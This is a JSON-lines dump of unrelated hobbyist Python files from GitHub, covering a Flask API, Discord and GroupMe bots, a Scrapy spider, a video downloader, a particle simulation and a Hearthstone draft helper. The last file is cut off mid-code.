+{"seq_id":"31235322953","text":"import os\n\nfrom config import get_allowable_origins\nfrom app import create_app\nfrom flask_cors import CORS\n\n#I must set this environment variable inside the docker-compose.yml\nos.environ['AFDB_URL'] = 'postgresql://postgres:weather@localhost:5432/weather_data'\nos.environ['AFAPI_ALLOWABLE_ORIGINS'] = '*'\n\n\napp = create_app(\n {\n \"SQLALCHEMY_DATABASE_URI\": os.getenv(\"AFDB_URL\"),\n \"SQLALCHEMY_TRACK_MODIFICATIONS\": False,\n \"SQLALCHEMY_ENGINE_OPTIONS\": {\"pool_pre_ping\": True},\n }\n)\n\nallowable_origins = get_allowable_origins()\nCORS(app, resources={r\"/v1/*\": {\"origins\": allowable_origins}})\n\n#if __name__ == \"__main__\":\n# app.run(debug=os.getenv(\"DEBUG\", False), host=\"0.0.0.0\")\n","repo_name":"thiagoferreira53/csm-af-core","sub_path":"jobs_api/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31699727337","text":"import KBEngine\nimport Math\nfrom KBEDebug import *\n\nclass Account(KBEngine.Entity):\n\tdef __init__(self):\n\t\tKBEngine.Entity.__init__(self)\n\t\tself.setAoiRadius(5,1)\n\t\tDEBUG_MSG(\"account -cell- init!!!!\")\n\t\tDEBUG_MSG(\"in space:\",self.spaceID,\" direction:\",self.direction,\"position:\",self.position,\"radiu:\",self.getAoiRadius())\n\n\tdef createMonst(self,exposed):\n\t\tnulldic={}\n\t\tKBEngine.createEntity('Monst',1,self.position,self.direction,nulldic)\n\t\t\t","repo_name":"sasalicat/conquistadorServer","sub_path":"scripts/cell/Account.py","file_name":"Account.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35089735370","text":"import json\nimport logging\nimport time\nimport discord\nfrom discord.ext import commands, tasks\n\nlogger = logging.getLogger('discord')\nlogger.setLevel(logging.DEBUG)\nhandler = logging.FileHandler(filename='discord.log', encoding='UTF-8', mode='w')\nhandler.setFormatter(logging.Formatter('%(asctime)s:%(levelname)s:%(name)s:%(message)s'))\n\nwith open(\"config.json\") as f:\n config = json.load(f)\n f.close()\n\nDESCRIPTION = ''' A timer to remind users after a set period of time.\n\nwritten by @TheSlowHipster https://github.com/TheSlowHipster\n'''\n\nintents = discord.Intents.default()\n\nbot = commands.Bot(command_prefix=config[\"prefix\"], description=DESCRIPTION, intents=intents)\n\n\n@bot.event\nasync def on_ready():\n print(\"ready\")\n\n\n@tasks.loop(hours=48)\nasync def timer(ctx):\n await time.sleep(162000) # Sleep for 45 hours\n await ctx.send(f\"<&@{config['roleID']}> stockpiles will expire in approximately 3 hours.\")\n await time.sleep(3600)\n await ctx.send(f\"<&@{config['roleID']}> stockpiles will expire in approximately 2 hours.\")\n await time.sleep(3600)\n await ctx.send(f\"<&@{config['roleID']}> stockpiles will expire inapproximately 1 hour.\"\n \"This is your last reminder\")\n\n\n\n@bot.command(description =\"Re-set the stockpile timer\")\nasync def reset(ctx):\n if not timer.is_running():\n ctx.send(f\"Thanks {ctx.author.name} for setting the timer!\")\n timer.start(ctx)\n else:\n ctx.send(f\"Thanks {ctx.author.name} for re-setting the timer!\")\n timer.restart(ctx)\n\nbot.run(config[\"token\"])\n","repo_name":"TheSlowHipster/foxholeTimer","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15959087432","text":"from scrapy.spiders import CrawlSpider\n\nfrom ..items import (\n DealItem,\n DealLoader,\n)\n\n\nclass DealSpider(CrawlSpider):\n\n title_xpath = ''\n description_xpath = ''\n price_xpath = ''\n old_price_xpath = ''\n\n def get_deal(self, response):\n loader = DealLoader(item=DealItem(), response=response)\n loader.add_value('url', response.url)\n loader.add_xpath('title', self.title_xpath)\n loader.add_xpath('description', self.description_xpath)\n loader.add_xpath('price', self.price_xpath)\n loader.add_xpath('old_price', self.old_price_xpath)\n return loader.load_item()\n","repo_name":"iamriel/dealcrawler","sub_path":"scraper/scraper/spiders/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"6667883829","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Date :2019-11-01 12:54:00\n# @Author :Zhi Liu(zhiliu.mind@gmail.com)\n# @Link :http://iridescent.ink\n# @Verson :$1.0$\n# @Note :https://crisp.nus.edu.sg/ers/ers.html\n#\n\nimport numpy as np\nimport copy\nimport iprs\n\n\ndisk = '/mnt/d/'\n\nrootfilename = 'ALPSRP020160970'\n# rootfilename = 'ALPSRP050500980'\n# rootfilename = 'ALPSRP115120970'\n\n\nlevel = 'L1.0'\nrootfolder = rootfilename\nfilefolder = rootfilename + '-' + level\nfilename = 'IMG-HH-' + rootfilename + '-H1'\next = '.0__A'\n\nfilepath = disk + 'DataSets/sar/ALOSPALSAR/data/' + rootfolder + '/' + filefolder + '/' + filename + ext\n\nD = copy.deepcopy(iprs.LeaderFileImportantImagingParametersRecordALOS)\n\niprs.readrcd(filepath, iprs.decfmtfceos, D, offset=0, endian='>')\n\niprs.printrcd(D)\n","repo_name":"antsfamily/iprs","sub_path":"examples/products/alos/demo_read_alos_palsar_ldr_iip.py","file_name":"demo_read_alos_palsar_ldr_iip.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"32"} +{"seq_id":"18557842714","text":"import requests\nimport re\nimport json\nimport time\n\n\ndef get_url(url: str) -> list[str, str]:\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36\",\n \"referer\": \"https://www.bilibili.com\",\n } # request所需的標頭檔\n resp = requests.get(url, headers=headers) # 發送請求\n palyinfo = re.findall(r\"\", resp.text)[\n 0\n ] # 用正值表達找到影片資訊\n palyinfo_data = json.loads(palyinfo) # 轉換文json格式\n video_url = palyinfo_data[\"data\"][\"dash\"][\"video\"][-1][\"base_url\"] # 取出畫面網址\n return video_url # 回傳網址\n\n\ndef download(path: str, file_url: str, visible=True) -> None:\n chunk_size = 1024 # 每次寫入數據塊大小\n done_size = 0 # 完成大小\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36\",\n \"referer\": \"https://www.bilibili.com\",\n } # request所需的標頭檔\n\n resp = requests.get(url=file_url, headers=headers) # 發送請求\n file_size = int(resp.headers[\"content-length\"]) # 取得文件大小\n file_size_MB = file_size / 1048576 # 將大小換成MB表示\n\n if visible: # 如果需要顯示\n print(f\"文件大小:{file_size_MB:0.2f} MB\") # 列印出文件大小\n\n start_time = time.time() # 紀錄開始時間\n with open(path, mode=\"wb\") as f: # 以位元寫入開啟檔案\n for chunk in resp.iter_content(chunk_size=chunk_size): # 迭代過每個區塊\n f.write(chunk) # 寫入區塊\n done_size += len(chunk) # 累計完成大小\n if visible: # 如果需���顯示\n # 列印完成進度\n print(f\"\\r下載進度:{done_size/file_size*100:0.2f}%\", end=\"\")\n\n end_time = time.time() # 紀錄結束時間\n cost_time = end_time - start_time # 計算花費時間\n\n if visible: # 如果需要顯示\n print(f\"\\t耗時:{cost_time:0.2f} 秒\") # 列印花費時間\n print(f\"下载速度:{file_size_MB/cost_time:0.2f}M/s\") # 列印下載速度\n\n\nif __name__ == \"__main__\":\n # 取得範例影片資訊\n url = get_url(\"https://www.bilibili.com/video/BV15x4y1L7Mc\")\n download(f\"video_storage\\亂下載的影片.mp4\", url) # 下載範例影片\n","repo_name":"FlyDogDaDa/B-scanner","sub_path":"download_only_film.py","file_name":"download_only_film.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4908890320","text":"import numpy as np\nimport random\nimport time\nimport copy \nfrom datetime import datetime\n\nimport lifeparticle_force as lf_force\nimport classes_and_functions as caf\n\n'''\nThe imported code: 'lifeparticle_force.py' has functions to calculate and to \nset the forces of interaction in the system.\nThe imported code: 'classes_and_functions.py' has the classes and some\nfunctions used in the code.\n\nThe explanation of the each function will be in each code.\n\n\n%%%%%%% SIMULATIONS PARAMETERS %%%%%%%\n'''\ndt=0.01 #Parameter for the movement of the particles\npl=[] #List for the manage of the particles of the system\nN=100 #Initial Number of particles\nN_max=100 #MaxNumber of particles\nsteps=1000 #Number of steps for the simulation\nframe=50 #Parameter for the manage of frames thats the animation will have.\nmass=1 #The mas for each particle\ncolors=7 #Number of types of praticles, max=7\ninitial_colors=3 #Number of initial colors for the simlation\n\ndelta_t=50 #parameter for the meassurement of the local clustering for the mutations of the particles\n\ntheta_div= steps + 100 #Division lifecounter threshold\ntheta_dif= steps + 150 #Differentiation lifecounter threshold\n\n#nu=3 el nu=3 de antes da dt*6*nu*np.pi=0.56, con nu=5 me daba 0.94\nnu=0.9 #Viscosity coefficient \nboundary=20 #Size of the system\nnoise=0#4 #Parameter for the random motion \nd_select=1 #Parameter to select de % of forces that will be attractive\n\n\nwriter1=open('test.txt','w') #The txt document where the code is going to save the simulation info.\n\n#The next 6 lines are for the meassurement of the coding time, also to aproximate the time it will take.\nstart=time.time()\nnow=datetime.now()\ndt_string=now.strftime('%H:%M:%S')\nprint(dt_string)\nprint('Maximum estimated computation time in minutes:',(steps/1000)*((N_max/100)**2))\nprint('Maximum estimated computation time in hours:',((steps/1000)*((N_max/100)**2))/60)\n\n\n'''\n%%%%%%% INITIAL CONDITIONS %%%%%%%\n'''\n\nlpos=[[],[],[],[]] #list to save the information of the particles\nboundary_init=[int(boundary/3),int(boundary*(2/3))] #square where the particles are placed \n\ncaf.initial_conditions(N,initial_colors,boundary_init,mass,pl)\ncaf.set_lpos(lpos,pl)\n\n'''\n%%%%%%% FORCE PARAMETERS %%%%%%%\n'''\n\nforce_parameters=[] #Lis for the parameters of each force of interaction\naction_radio=1.5 #maximum radious of action\nlf_force.random_parameters(force_parameters,colors,action_radio,d_select) #Function to randomly fill force_parameters\n#force_parameters=lf_force.set_parameters1_force() #Function to set force_parameters\n\nforce_parameters[0][0]=[0.35,0.5, -1200]\n#force_parameters[1][1]=[0.35,0.5, -1200]\n\n'''\n%%%%%%% MUTATIONS FUNCTIONS %%%%%%%\n'''\n\nmolecular_rad=0.4 #Clustering check radius\nmutant_colors=np.array([0,1,2,3,4,5,6]) #Types of particles that can mutate\nmutate_rules=caf.set_mutation_rules() #Randomly set the mutation rules\n#mutate_rules[1][0]=random.randint(1,6)\n#mutate_rules=lf_force.set_parameters1_mutate() \n\ndef step_function(step,boundary,nu,frame,dt,N_max,delta_t,steps,theta_div,theta_dif):\n \n '''\n %%%%%%% MUTATION FUNCTIONS %%%%%%%\n In the next two 'if's we update the lists for the local clustering meassurements\n '''\n \n if len(pl)100:\n nu=0.95\n e1=random.randint(0,len(pl)-1)\n if pl[e1].life_cont>=theta_div and random.uniform(0,1)<0.1:\n caf.testing_div_func(e1,pl,lpos,mass)\n if len(pl)==N_max:\n print('len(pl) =',len(pl),',| Step =',step)\n print('Remaining computation time (in minutes):',((steps-step)/1000)*((N_max/100)**2))\n \n if step%delta_t==0:#step==2:#\n for i in range(len(pl)):\n pl[i].cluster_check1_color(pl,i,molecular_rad)\n \n if (step+6)%delta_t==0:\n for i in range(len(pl)):\n pl[i].cluster_check2_color(pl,i,molecular_rad)\n if len(pl)>N_max*0.5 and pl[i].life_cont>=theta_dif+step//delta_t and random.uniform(0,1)<0.05:#and pl[i].color in mutant_colors\n \n pl[i].mutate(i,lpos,pl,colors,molecular_rad,mutate_rules)\n \n '''\n %%%%%%% MOVEMENT FUNCTIONS %%%%%%%\n In the next 'double for' the code calculates all the change in velocity due\n to the force interactions between particles and the random motion.\n \n Then in the second 'for' all the changes of the positions of the particles\n are calculated.\n '''\n \n for i in range(len(pl)):\n for j in range(len(pl)):\n if i!=j :\n radioo=np.sqrt((pl[i].x - pl[j].x)**2 +(pl[i].y - pl[j].y)**2 )\n c=-force_parameters[pl[i].color][pl[j].color][0] + 2 * force_parameters[pl[i].color][pl[j].color][1]\n if radioo < c:\n pl[i].force_interaction(pl[j].x,pl[j].y,action_radio,pl[j].color,force_parameters,dt,radioo)\n \n pl[i].random_vel(noise) # Random motion\n \n for l in range(len(pl)):\n pl[l].life_cont+=1\n pl[l].move_dt(dt,boundary,nu)\n \n '''\n %%%%%%% SAVING THE SIMULATON INFO %%%%%%%\n \n First we update the list with the information of the particles and then \n we write it in the txt we opened at the begining of the code\n '''\n \n if step%frame==0:\n caf.update_scatt(lpos,pl)\n N=copy.copy(len(pl))\n writer1.write(str(N))\n writer1.write(',')\n for i in range(len(lpos)):\n writer1.write('|,')\n for j in range(len(lpos[i])): \n writer1.write(str(lpos[i][j]))\n writer1.write(',')\n writer1.write('\\n')\n \n'''\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n'''\n\n# In the next loop the simulation is done.\nfor step in range(steps):\n step_function(step+1,boundary,nu,frame,dt,N_max,delta_t,steps,theta_div,theta_dif)\n\n\n\nend=time.time() \nprint('Computation time in minutes:',(end-start)/60) # Here we print how long the simulation took\nwriter1.close() # We close the document\nprint('len(pl) =',len(pl))\n","repo_name":"seburrejola/Thesis-Project-2019","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7603944744","text":"import math\nimport pandas as pd\nimport numpy as np\nimport os\nfrom IPython.display import display\n\n\n\ndef setup_indexes(n_frames, axis=[str]):\n iterables = [np.arange(0,n_frames), axis]\n index = pd.MultiIndex.from_product(iterables, names=['frame','axis'])\n return index\ndef setup_columns():\n\n leftLeg = ['leftThigh', 'leftCalf', 'leftFoot', 'leftToes']\n rightLeg = ['rightThigh', 'rightCalf', 'rightFoot', 'rightToes'] \n leftArm = ['leftShoulder', 'leftUpperArm', 'leftForeArm', 'leftHand', 'leftFingers']\n rightArm = ['rightShoulder', 'rightUpperArm', 'rightForeArm', 'rightHand', 'rightFingers']\n torso = ['global', 'spine', 'spine1', 'spine2', 'neck']\n head = ['head', 'noseVertex']\n arrays = [['leftLeg', leftLeg],\n ['rightLeg', rightLeg],\n ['leftArm', leftArm],\n ['rightArm', rightArm],\n ['torso', torso],\n ['head', head]]\n \n list_of_cats = [subarr[0] for subarr in arrays]\n list_of_joints = [subarr[1] for subarr in arrays]\n\n single_lvl_columns = leftLeg+rightLeg+leftArm+rightArm+torso+head\n repeated_categories = []\n for j in range(len(list_of_joints)):\n for i in range(len(list_of_joints[j])):\n repeated_categories.append(list_of_cats[j])\n multi_lvl_columns = [repeated_categories, single_lvl_columns]\n multi_lvl_columns = pd.MultiIndex.from_arrays(multi_lvl_columns, names=('category', 'joints'))\n return single_lvl_columns, multi_lvl_columns\ndef generateTable(path, sequence):\n\n #get list of files containing joint data and delete unwanted files. Also\n path_sequence = path+'\\\\'+sequence\n list = os.listdir(path_sequence)\n list.remove('bg_plane.txt')\n\n #setup indexes and columns:\n n_frames = 1000\n axis = ['x','y','z']\n index = setup_indexes(n_frames, axis)\n cols, multicols = setup_columns()\n\n #columns has the original non-ordered data. Needed for properly inserting data.\n with open(path+'\\\\jointList') as file:\n columns = [line.rstrip() for line in file]\n\n #reshape np.array to final shape and insert dummy data.\n reshape_to = (int(n_frames*len(axis)), len(cols))\n data = np.zeros(math.prod(reshape_to)).reshape(*reshape_to)\n\n #populate data.\n it = 0\n for frame in list:\n with open(path_sequence+'\\\\'+frame) as file:\n x = [line.rstrip().split(' ')[0] for line in file]\n data[it] = x\n it+=1\n with open(path_sequence+'\\\\'+frame) as file:\n y = [line.rstrip().split(' ')[1] for line in file]\n data[it] = y\n it+=1\n with open(path_sequence+'\\\\'+frame) as file:\n z = [line.rstrip().split(' ')[2] for line in file]\n data[it] = z\n it+=1\n\n #configure dataframe for proper MultiIndex columns.\n df = pd.DataFrame(data, index, columns)\n df = df.reindex(columns=cols)\n df = df.reindex(columns=multicols, level=1)\n\n #with open(ind_path+'\\\\bg_plane.txt') as file:\n # bg_plane = file.readline().split()[1:]\n \n \n return df","repo_name":"ggschuler/gma-relevant-parameters-visualization","sub_path":"tableGenerator.py","file_name":"tableGenerator.py","file_ext":"py","file_size_in_byte":3064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"16846246828","text":"from threading import Thread\nfrom time import sleep\n\nfrom hearthstonecarddetector import card_image_to_id\nfrom hearthstonearenalogwatcher import HearthstoneArenaLogWatcher, ArenaEvent\nfrom utils import get_hearthstone_window, get_cards_from_arena_image, get_hearthstone_log_folder\n\nimport tkinter\nimport requests\nimport os\n\nBACKEND_URL = \"https://cryptic-harbor-31880.herokuapp.com/\"\nSLEEP_ANIMATION_TIMER = 2\n\n\ndef update_cards_on_server(card_images, session_data):\n update_data_on_server(session_data, [card_image_to_id(c) for c in card_images], \"cards\")\n\n\ndef update_data_on_server(session_data, data, name):\n target_url = BACKEND_URL + \"session/update/\" + name + \"/\" + session_data[\"session_id\"]\n\n r = requests.post(target_url, json={**session_data, name: data})\n\n if not r.ok:\n # todo error handling again, like try again? -- but not indefinitely. maybe fail here?\n # update_data_on_server(session_data, data, name)\n pass\n\n\nclass MyApp(object):\n def __init__(self, master):\n self.master = master\n master.minsize(height=40, width=220)\n\n master.title(\"Draft With Me\")\n master.resizable(False, False)\n\n # frame encompassing entire window\n overlord_frame = tkinter.Frame(master)\n overlord_frame.pack()\n\n # frame encompassing just the Status and Status-Label\n self.status_frame = tkinter.Frame(overlord_frame)\n self.status_frame.pack()\n\n self.static_status_label = tkinter.Label(self.status_frame, text=\"Status: \")\n self.static_status_label.pack(side=tkinter.LEFT)\n\n self.status_label = tkinter.Label(self.status_frame, text=\"Loading...\")\n self.status_label.pack(side=tkinter.LEFT)\n\n # frame encompassing the Link and Link-Label\n self.link_frame = tkinter.Frame(overlord_frame)\n self.link_frame.pack()\n\n self.link_label = tkinter.Label(self.link_frame, text=\"URL: \")\n self.link_label.pack(side=tkinter.LEFT)\n\n self.link_entry = tkinter.Entry(self.link_frame)\n self.link_entry.insert(0, \"Waiting...\")\n self.link_entry.configure(state=\"readonly\")\n self.link_entry.pack(side=tkinter.LEFT)\n\n self.manual_refresh_button = tkinter.Button(overlord_frame,\n text=\"Manual Refresh\",\n command=self.manual_refresh,\n state=tkinter.DISABLED)\n self.manual_refresh_button.pack()\n\n # init empty variables\n self.session_data = {\n \"session_id\": \"\",\n \"auth_token\": \"\"\n }\n\n self.log_folder = None\n\n # set up and start thread for processing game and getting images\n thr = Thread(target=self.main, daemon=True)\n thr.start()\n\n def update_status(self, new_status):\n self.status_label.configure(text=new_status)\n\n def update_url(self, new_url):\n self.link_entry.configure(state=tkinter.NORMAL)\n self.link_entry.delete(0, tkinter.END)\n self.link_entry.insert(0, new_url)\n\n def log_and_update_status(self, message):\n print(message)\n self.update_status(message)\n\n def manual_refresh(self):\n def one_off(application):\n print(\"Uploading status...\")\n application.update_status(\"Uploading status...\")\n\n current_state = HearthstoneArenaLogWatcher.get_state_of_current_log(\n os.path.join(application.log_folder, \"Arena.log\"))\n\n if current_state.hero:\n # dont sleep on manual refresh\n update_cards_on_server(get_cards_from_arena_image(get_hearthstone_window()), self.session_data)\n\n # we also should update the server with the hero and any drafted cards currently selected\n update_data_on_server(self.session_data, current_state.hero, \"hero\")\n update_data_on_server(self.session_data, current_state.drafted, \"drafted\")\n\n print(\"Finished uploading status!\")\n application.update_status(\"Finished uploading status!\")\n\n thr = Thread(target=one_off, args=(self,), daemon=True)\n thr.start()\n\n def main(self):\n self.log_and_update_status(\"Looking for logs... Is Hearthstone open?\")\n\n while self.log_folder is None:\n self.log_folder = get_hearthstone_log_folder()\n\n self.log_and_update_status(\"Found log folder!\")\n\n self.manual_refresh_button.config(state=tkinter.NORMAL)\n\n halw = HearthstoneArenaLogWatcher(self.log_folder)\n\n self.log_and_update_status(\"Contacting server...\")\n\n r = requests.get(BACKEND_URL + \"session/new\")\n\n if not r.ok:\n self.update_status(\"Unable to contact server!\")\n print(\"Unable to contact server!\")\n raise ValueError\n\n self.session_data = r.json()\n\n self.log_and_update_status(\"Got session id from server.\")\n self.update_url(BACKEND_URL + \"viewer/\" + self.session_data[\"session_id\"])\n\n for event in halw.event_generator():\n\n if event.type == ArenaEvent.ENTERED_ARENA or event.type == ArenaEvent.HERO_SELECTED or \\\n event.type == ArenaEvent.CARD_DRAFTED:\n # update server with current state\n current_state = event.data\n\n self.log_and_update_status(\"Uploading status...\")\n\n # if hero is set, then draft has started and we can process the cards on screen\n if current_state.hero:\n sleep(SLEEP_ANIMATION_TIMER)\n update_cards_on_server(get_cards_from_arena_image(get_hearthstone_window()), self.session_data)\n\n # we also should update the server with the hero and any drafted cards currently selected\n update_data_on_server(self.session_data, current_state.hero, \"hero\")\n update_data_on_server(self.session_data, current_state.drafted, \"drafted\")\n\n self.log_and_update_status(\"Finished uploading status!\")\n\n elif event.type == ArenaEvent.DRAFT_ENDED:\n # update server with drafted\n self.log_and_update_status(\"Uploading final status...\")\n\n update_data_on_server(self.session_data, event.data.drafted, \"drafted\")\n\n self.log_and_update_status(\"Updated final status on server. Finished draft!\")\n\n\nif __name__ == '__main__':\n root = tkinter.Tk()\n\n app = MyApp(root)\n\n root.mainloop()\n","repo_name":"tristanmkernan/draft-with-me-client","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"19738671837","text":"# fair warning to y'all. this is gonna be wack\n# it is very wack\n# group-me wrapper for quizbot\n\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json, requests, re, time, os, random, logging, sqlite3\nfrom .message_routing import GroupMeMessageRouter\n\nfrom .QuizBotDataHandler import QuizBotDataHandler\n\n# main functions\nfrom .modules.QuizBotSendRedditMeme import QuizBotSendRedditMeme\nfrom .modules.QuizBotSendInstaMeme import QuizBotSendInstaMeme\nfrom .modules.QuizBotFunSayings import QuizBotFunSayings\nfrom .modules.QuizBotHackingJoke import QuizBotHackingJoke\nfrom .modules.QuizBotHelp import QuizBotHelp\nfrom .modules.QuizBotQuizzer import QuizBotQuizzer\nfrom .modules.QuizBotReturnStats import QuizBotReturnStats\n\n# config functions - database manipulation\nfrom .modules.QuizBotUpdateConfig import QuizBotUpdateConfig\nfrom .modules.QuizBotSetMemeSource import QuizBotSetMemeSource\nfrom .modules.QuizBotOptIO import QuizBotOptIO\nfrom .modules.QuizBotAuthenticateUser import QuizBotAuthenticateUser\n\ndatahandler = QuizBotDataHandler(groupme=True)\n\ngroupmelogger = logging.getLogger(__name__)\n\n# groupmelogger.basicConfig(level=logging.DEBUG,filename='logs/groupme.log', filemode='w', format='QuizBot[GROUPME]: %(asctime)s - %(levelname)s - %(message)s', datefmt='%d-%b-%y %H:%M:%S')\n\ngroupmelogger.setLevel(logging.INFO)\n\n# create a file handler\nhandler = logging.FileHandler('logs/groupme.log')\nhandler.setLevel(logging.INFO)\n\n# create a logging format\nformatter = logging.Formatter('QuizBot[GROUPME]: %(asctime)s - %(name)s - %(levelname)s - %(message)s')\nhandler.setFormatter(formatter)\n\n# add the file handler to the logger\ngroupmelogger.addHandler(handler)\n\nconn = sqlite3.connect('config.db')\n\ngroupmelogger.info(\"Started program. Hello world!\")\n\nconfig_file = os.path.join('.', 'data', 'config.json')\n\nclass QuizBotGroupMe():\n def __init__(self, bot_id):\n self.newsroom_people = [\"Chris Dowdy\", \"Jackson Powell\", \"Kali Knight\", \"Bailee T. Hertrick\"]\n\n # grab config from files\n with open(config_file) as data_file:\n config = json.load(data_file)\n\n # start bot variables\n self.bots = config['bots']\n reallist = []\n for bot in self.bots:\n bot = tuple(bot)\n groupmelogger.info(\"Found bot- {}\".format(bot))\n reallist.append(bot)\n self.bots = reallist\n self.listening_port = config['listening_port']\n self.groupme_url = \"https://api.groupme.com/v3/bots/post\"\n\n self.useReddit = False\n\n # quizzing variables\n self.awaiting_response = False\n self.quizbonuses = False\n \n # initializing database defaults for any new bots\n for name, id, group in self.bots:\n iteration_values = (name, id, group)\n c = conn.cursor()\n c.execute(\"\"\"CREATE TABLE IF NOT EXISTS config\n (id INTEGER PRIMARY KEY AUTOINCREMENT, name text, botid text, groupid int, allownsfw text, allowrepost text)\n \"\"\")\n c.execute(\"\"\"CREATE TABLE IF NOT EXISTS memesource\n (id INTEGER PRIMARY KEY AUTOINCREMENT, name text, botid text, groupid int, subreddit text)\n \"\"\")\n c.execute(\"\"\"CREATE TABLE IF NOT EXISTS authenticate\n (id INTEGER PRIMARY KEY AUTOINCREMENT, name text, botid text, groupid int, users text)\n \"\"\")\n c.execute(\"\"\"CREATE TABLE IF NOT EXISTS opt\n (id INTEGER PRIMARY KEY AUTOINCREMENT, name text, botid text, groupid int, users text, newsroom text, elimination text)\n \"\"\")\n c.execute(\"\"\"CREATE TABLE IF NOT EXISTS stats\n (id INTEGER PRIMARY KEY AUTOINCREMENT, name text, botid text, groupid int, requests int, responses int, FredResponses int, TotalMessages int)\n \"\"\")\n c.execute(\"SELECT * FROM config WHERE name=? AND botid=? AND groupid=?\", iteration_values)\n databasecheckconfig = c.fetchone()\n c.execute(\"SELECT * FROM memesource WHERE name=? AND botid=? AND groupid=?\", iteration_values)\n databasecheckmemesource = c.fetchone()\n c.execute(\"SELECT * FROM stats WHERE name=? AND botid=? AND groupid=?\", iteration_values)\n databasecheckstats = c.fetchone()\n if databasecheckstats == None or None in databasecheckstats:\n groupmelogger.info(f\"Setting up default stats for bot {name} (id#{id} and groupid#{group})\")\n insertvalues = [(name, id, group, 0, 0, 0, 0)]\n c.executemany(\"INSERT INTO stats (name, botid, groupid, requests, responses, FredResponses, TotalMessages) VALUES (?, ?, ?, ?, ?, ?, ?)\", insertvalues)\n for row in c.execute(\"SELECT * FROM stats ORDER BY botid\"):\n groupmelogger.info(row)\n conn.commit()\n else:\n for row in c.execute(\"SELECT * FROM stats ORDER BY botid\"):\n groupmelogger.info(row)\n if databasecheckconfig == None and databasecheckmemesource == None or None in databasecheckconfig and None in databasecheckmemesource:\n groupmelogger.info(f\"Doing default config for bot {name} (id#{id} and groupid#{group})\")\n insertvalues = [(name, id, group, 'false','false')]\n c.executemany(\"INSERT INTO config (name, botid, groupid, allownsfw, allowrepost) VALUES (?,?,?,?,?)\", insertvalues)\n insertvalues = [(name, id, group, 'all')]\n c.executemany(\"INSERT INTO memesource (name, botid, groupid, subreddit) VALUES (?,?,?,?)\", insertvalues)\n groupmelogger.info(\"Finished - results:\\n\")\n for row in c.execute(\"SELECT * FROM config ORDER BY id\"):\n groupmelogger.info(row)\n for row in c.execute(\"SELECT * FROM memesource ORDER BY botid\"):\n groupmelogger.info(row)\n conn.commit()\n else:\n for row in c.execute(\"SELECT * FROM config ORDER BY id\"):\n groupmelogger.info(row)\n for row in c.execute(\"SELECT * FROM memesource ORDER BY botid\"):\n groupmelogger.info(row)\n conn.commit()\n conn.close()\n\n # all finished here, init regex time now\n self._init_regexes()\n \n def _init_regexes(self):\n self.likes = re.compile(\"(^!likes$)\")\n self.likesrank = re.compile(\"(^!rank$)\")\n self.randommeme = re.compile(\"(^!meme$)\")\n self.groupinfo = re.compile(\"(^!info$)\")\n self.stats = re.compile(\"(^!stats$)\")\n self.help_regex = re.compile(\"(^!help)\")\n self.config = re.compile(\"(^!config)\")\n self.authenticate = re.compile(\"(^!authenticate)\")\n self.deauthenticate = re.compile(\"(^!deauthenticate)\")\n self.quiz = re.compile(\"(^!quiz)\")\n self.hacking_joke = re.compile(\"(^!hack)\")\n self.fred_joke = re.compile(\"(^!fred)\")\n self.optregex = re.compile(\"(^!opt)\")\n self.newsroom = re.compile(\"(^!newsroom)\")\n\n self._construct_regexes()\n\n def _construct_regexes(self):\n self.regex_actions = [\n (\"Likes\", self.likes, self.send_likes),\n (\"Rank\", self.likesrank, self.send_rank),\n (\"Meme\", self.randommeme, self.send_meme),\n (\"Info\", self.groupinfo, self.send_info),\n (\"Info\", self.stats, self.send_info),\n (\"Help\", self.help_regex, self.send_help),\n (\"Config\", self.config, self.update_config),\n (\"Authenticate\", self.authenticate, self._authenticateUser),\n (\"Authenticate\", self.deauthenticate, self._authenticateUser),\n (\"Quiz\", self.quiz, self.quizzer),\n (\"Joke/EasterEgg\", self.hacking_joke, self.hack_joke),\n (\"Joke/EasterEgg\", self.fred_joke, self.fred_function),\n (\"Opting In/Out\", self.optregex, self.opt),\n (\"Newsroom\", self.newsroom, self.newsroom_selection)\n ]\n groupmelogger.info(\"Initialized regex.\")\n\n def _authenticateUser(self, mes, att, type, text, sender_name):\n x = QuizBotAuthenticateUser(sender_name, text, self.bot_name, self.group_id, datahandler)\n self.send_message(x.response, 1)\n\n def _getmemesource(self):\n x = QuizBotSetMemeSource(self.bot_id, self.group_id)\n return x.response\n\n def _getallownsfw(self):\n data = {\"name\" : self.bot_name, \"groupid\" : self.group_id, \"table\" : [\"config\", \"allownsfw\"], \"data\" : [self.bot_name, self.group_id]}\n allownsfw = datahandler.do(\"selectone\", data)\n return allownsfw\n\n def _getallowreposts(self):\n data = {\"name\" : self.bot_name, \"groupid\" : 